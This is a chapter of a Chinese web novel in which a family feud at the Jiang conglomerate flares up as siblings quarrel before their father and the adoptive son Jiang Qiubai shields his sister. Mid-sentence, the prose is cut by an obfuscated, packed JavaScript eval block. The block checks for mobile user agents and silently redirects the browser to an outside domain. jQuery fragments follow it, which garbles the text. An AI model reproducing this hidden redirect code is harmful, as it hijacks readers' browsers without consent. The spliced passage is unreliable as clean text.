41. 争吵

作品:《破春[伪骨]

    “你干嘛?”


    殷灿灿火气发完,勇气也丢了大半,见祁钰要帮她出头,当即害怕起来。


    她还不想变成邰绍元那样,在广城没有立足之地。


    “干嘛?我能干嘛?当然是给你讨回公道!”


    殷灿灿吸了吸鼻子:“讨回什么公道,我是江氏的人,你怎么替我讨回公道?”


    江氏的用人,自然是江氏说了算,祁钰只是江行舒手下的一个项目负责人,论起集团用人,还真轮不上他说话。


    于是祁钰想到一个歪招:找江行舒去,她能闹。


    想当初,她可是在酒吧给人爆头的,对付江牧那个流氓,妥妥的。


    一个电话敲过去,江行舒接的倒快。


    “来帮我一个忙。”


    江行舒对别的事情没兴趣,欺负江牧动力十足。


    原先指望他放弃那百分之一股份的计划失败,她正窝火呢,眼下正好是个理由,当即答应前往。


    不消半个小时,三人在江氏一楼大厅汇集起来。


    江行舒气势十足。


    猫眼形状的黑色墨镜遮去小半张脸,樱桃红的嘴唇,大到夸张的金色耳饰,身穿一件烟灰色套装,及膝的一步裙,腰上扎的细细的,十厘米黑色亮皮高跟鞋,手上提着一个黑色爱马仕典藏款铂金包。


    这打扮,一看就不是省油的灯。


    这架势,一看就是要干仗的。


    江牧一天触两回霉头,祁钰简直不要太高兴。


    禹城首富的儿子,一天看两回广城首富儿子的笑话,以后饭桌上有他江牧丢脸的时候了。


    一想到这里他就想笑,可是殷灿灿笑不出来。


    她失恋时第一回失态,把邰绍元污蔑她的事情跟祁钰说,结果惹来麻烦无数。


    今天再一次在祁钰面前失态,就搞出这么大的阵仗,怕是要引起更大的麻烦。


    祁钰这个人,像是个麻烦放大器,任何一个小问题丢到他面前,他就能立刻吹大,一直吹到爆炸。


    “祁总,这是不是不大好?咱们还是别去了,事情闹大了对谁都不好。”


    祁钰笑笑:“没事。”


    他江家的事,关他姓祁的什么关系,看戏就是。


    至于江行舒......


    “你怕什么,不是有我在么。”


    祁钰冲殷灿灿笑着挑眉,似乎在说:你看,我说什么来着,这女人报复心不要太重,你就看好吧。


    殷灿灿笑不出来,只觉得背上冷汗涔涔地下来,转眼看祁钰和江行舒,已经在电梯口准备上楼了。


    她半晌没敢挪步子,祁钰忍不住喊她:“快点过来,磨蹭什么呢?”


    殷灿灿木然地跟上去。


    电梯到达五十层,江行舒像一只傲然的孔雀,昂首挺胸,迈着步子走了出去,祁钰拖着殷灿灿紧随其后。


    江行舒径直走向江牧的办公室,途中遇上江牧的秘书过来阻拦,江行舒自樱桃红唇里吐出一个字“滚”。


    那秘书尽职尽责,于是江行舒甩手就是一个巴掌,倒是把殷灿灿给打惊醒了。


    她想的一点儿都没错,这些人根本不把打工人当人。


    江行舒站在那里,指着那秘书道:“我来找我哥,再敢挡道,信不信我撕烂你的嘴!”


    那秘书捂着脸看向江行舒,最后没有多说一个字,让开了路。


    江行舒没有客气,走过去一把推开江牧办公室的大门,却不想江远此刻也坐在里头。


    祁钰跟在后面,只瞥了一眼,暗叫不好,拉住殷灿灿的手往后快退两步就逃开了,摸出手机开始叫救兵。


    外头那秘书见了,不禁嗤之以鼻,刚刚还狗仗人势,这会子见到老的了,就做了缩头乌龟。


    他今天倒要看看,你们几个是怎么倒的霉!


    江行舒一步踏进去,就没想要回头,一双高跟鞋踩得噔噔响,直接走到办公桌边。


    铂金包往桌上一放,墨镜一摘,她看着江远,笑呵呵的:“好巧,爸爸也在呢。”


    江远都不愿意看她:“你是越来越不懂礼貌了。”


    江行舒依旧笑着:“爸爸说的对,我就是没有礼貌。所以我今天要来质问大哥,凭什么不经过我的允许就要动我部门的人?”


    “你不过一个挂牌负责人,什么时候还能管起集团用人了?”


    江牧知道江远看不惯江行舒,此刻恨不得火上添油,让江行舒继续惹恼江远,好让他坐收渔翁之利。


    而江行舒也确实不收敛,伸长脖子回击他:


    “挂牌的又怎么样?只要我一天是负责人,你要动我的人就得经过我的允许!”


    ......


    就这样,两人你来我往地当着江远的面就吵了起来,谁也不肯让谁。


    “我告诉你,让你当部门负责人是不想让你在公司丢江家的脸面,你还真当自己有本事了?”


    “有没有本事也不是你说了算,江牧我告诉你,你少给我跨部门管闲事,你没那个资格!”


    “砰——”的一声巨响,江牧准备回击的嘴卡在一半。


    江远拍了桌子。


    “都给我住口!”他瞪了一眼江牧,接着看向江行舒,腾地站起:“你还真当自己玩的小把戏没人知道是么?拿着公司的钱去供养那你什么前未婚夫,还胆敢拉着祁钰来招摇撞骗,我那是看在祁成礼的份上没跟你们计较,你还真把我当傻子耍是么?”


    面对江远的盛怒,江行舒的心跳明显加速,脸上白了一白,却依旧不肯后退。


    “爸爸尽管骂好了,纵容大哥抢了项目的是你,允许他加倍投资的也是你,与其在这里骂我,还不如承认自己技不如人,活该被人耍!”


    “你——”江远哪里受得了这个气,抬手就要往江行舒的脸上呼去,可是看着她那张脸,那只手却硬生生停住。


    谁知江行舒见他抬手非但不躲,反而把脸凑过来。


    “你打!你打!你有本事打死我好了。你又不是第一回打我,十年前我不怕你,今天我更不怕你!”


    江远最恨她提起十年前,一只胳膊重新蓄力,高高举起,照着她那张漂亮的脸用尽力气挥了下去。


    然而手掌却没有碰上那张脸。


    江秋白忽然出现在他面前,只见他一只手把江行舒护在身后,一只手抓住江远的手腕,硬生生将他的手制在半空中。


    外人不知道,只有江远知道那手腕被捏的生疼。


    “爸爸何必生这么大的气,妹妹不懂事,说她两句就好了。”


    江远看着这个翅膀早就硬了的养子,气就不打一处来。


    “说她两句?”他奋力抽回手,一双眼睛因为愤怒而发红,显得比平时更凸。


    “我告诉你,我教育自己的女儿是我们江家的家事,轮不到你来管。”


    话音落地,连江行舒都愣了愣。


    这是要不认江秋白的意思了。


    她在身后伸出手,轻轻握住江秋白的手,心中有些酸涩起来。


    说起被家人抛弃的感受,没人比她更懂。


    江秋白有一瞬的愣怔,停在半空的手半晌才收回,只听他淡淡道:“爸爸不认我没关系,但行舒依旧认我是她哥哥,既然是她的哥哥,那她的事我就要管到底。”


    “行舒是我带大的,她犯了错,自然是我带回去教育,就不劳爸爸和大哥了。”


    “你教育?你要是教育的好她就不会是今天这个样子!”


    江秋白不退缩:“既然是我教育不好,爸爸骂我就是了。还有,以后不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201893|177401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    管她犯了多大的错,找我就行,她的事情由我负责到底。”


    说完也不管二人的脸色,反手用力抓住江行舒的手就把人牵走了。


    江行舒临走不忘抓过桌上的包,一边跟着江秋白往外走,一边不忘指着江牧的鼻子暗暗放狠话:


    “你敢开了她,看我怎么收拾你!”


    祁钰又闯祸了,闯到不敢面对江秋白那张脸,只能在战事结束时拉着殷灿灿走楼梯快速跑路,被身后的秘书追着送了一路的白眼。


    “何至于如此?”


    祁钰想不通,这么一点小事,何至于江远就要不认江秋白这个养子了?


    一边的殷灿灿惊魂未定,祁钰果然是灾难放大器,这下麻烦更大了。


    江家要起内讧了。


    祁钰一不做二不休,拉着殷灿灿逃出公司,免得被波及,等江行舒把江秋白安抚下来再说。


    他的脾气只有她能安抚的住。


    江秋白拉着江行舒径直去了五十六楼他自己的办公室,刚刚还气焰嚣张宛若斗鸡的江行舒此刻化身温柔小鸟,亦步亦趋地跟在哥哥身后,随着他进了办公室,看他关上门,上了锁。


    “哥——”


    她看着江秋白的背影,轻轻喊了一声。


    江秋白转过身来,惨然地笑:“我没事。”


    他摸了摸江行舒的脸颊:“早知道会有这一天的,他们说出来不是比我提出来更好么?”


    江行舒嗫嚅着嘴唇,不知道该说些什么好。


    被抛弃和主动放弃是两回事,这其中的痛苦只有她知道。


    “哥,不管你姓什么,你永远都是我哥哥,我最好最好的亲人。”


    她抱住江秋白的腰,仰起小脸,说的真诚。


    可这不是江秋白想要的。


    他不要做他的哥哥,他做够了他的哥哥,他想变成她的爱人。


    夫妻亦是亲人。


    只要她嫁给他,他依旧有个完整的家,至于其他人,根本就不重要。


    在他的心里,真正的家人从始至终都只有她一个。


    但他没有说,他什么也没说,他只是轻轻拥住她,在她看不见的地方,视线逐渐冰冷。


    五十楼江远的办公室里,江牧依旧没有从江远刚刚的话里缓过劲儿来。


    他太兴奋了。


    整个江氏,唯一能与他一争的就只有江秋白,这一次他们是翻脸翻到明面上来了,他几乎掩饰不住的激动。


    “爸,你是要跟他脱离关系了么?”


    江远刚刚怒火攻心,难得一次说话口不择言,就被江牧抓住时机来探口风。


    他看着自己这个儿子,只有在他人放弃的时候,他才是唯一的选择,怎么能不叫他失望。


    “再有不到一个月就是你的婚期,万丽的事情还没解决,你最好是先操心一下自己的婚礼!”


    江远的怒火波及每一个人,包括江牧。


    然而此刻的江牧想的却是:他终于无所依靠了,除了自己,他再也没有别人可以依仗了。


    一切都将是他的,就连那百分之三的股份也将在一个月后变成他的。


    如果说眼下的江远还没有意识到这一点,那他有义务让他早点儿意识到。


    他摸出手机,拨出一个电话。


    地球的另一端,一个怀里拥着金发美女,裸着上身的男人被手机铃声惊醒,黑暗之中摸索着接听。


    “喂?”


    “你什么时候回来?”


    电话那头轻笑一声:“江总这么性急干什么,后天的飞机。”


    “那我这边安排起来。”


    “嗯......”


    迷迷糊糊地挂断电话,怀里的美人动了动身子,他扔掉手机,重新抱进怀里接着睡。